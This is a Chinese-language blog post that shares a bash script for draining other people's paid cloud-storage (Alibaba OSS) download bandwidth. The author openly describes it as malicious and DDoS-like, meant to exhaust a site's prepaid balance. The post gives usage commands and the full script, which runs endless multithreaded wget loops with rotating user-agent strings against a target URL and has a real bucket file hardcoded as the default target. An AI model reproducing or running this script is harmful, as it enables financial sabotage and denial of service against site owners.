ssh刷oss下载流量脚本

这个算是一个干坏事的脚本 主要用途就是刷别人的oss付费流量,一定程度上约等于DD
让人家网站在短时间内把预付款消耗光 以达到坑人的目的
使用方法:

  1. bash 脚本名 “https://www.baidu.com” &  #指定url
  2. bash 脚本名 “https://www.baidu.com” 8 & #指定url和8线程

脚本代码

UAs=("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36","Mozilla/5.0 (MSIE 10.0; Windows NT 6.1; Trident/5.0)","Mozilla/5.0 (MSIE 9.0; Windows NT 6.1; Trident/5.0)","Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25","Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25","Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25","Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920)","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20120101 Firefox/33.0","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0","Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A")
if [ ! -n "$1" ] ;then
uuurl="https://zbios2.oss-cn-hongkong.aliyuncs.com/ios2.ipa"
else
uuurl=$1
fi
if [ ! -n "$2" ] ;then
t=16
else
t=$2
fi
for i in `seq 1 $t`
do
{
while true
do
z=$[$RANDOM%12]
wget -O /dev/null -o /dev/null -U=${UAs[$z]} $uuurl
done
}&
echo "thread $i start!"
done
© 版权声明
THE END
喜欢就支持以下吧
点赞3赞赏
分享
评论 抢沙发

请登录后发表评论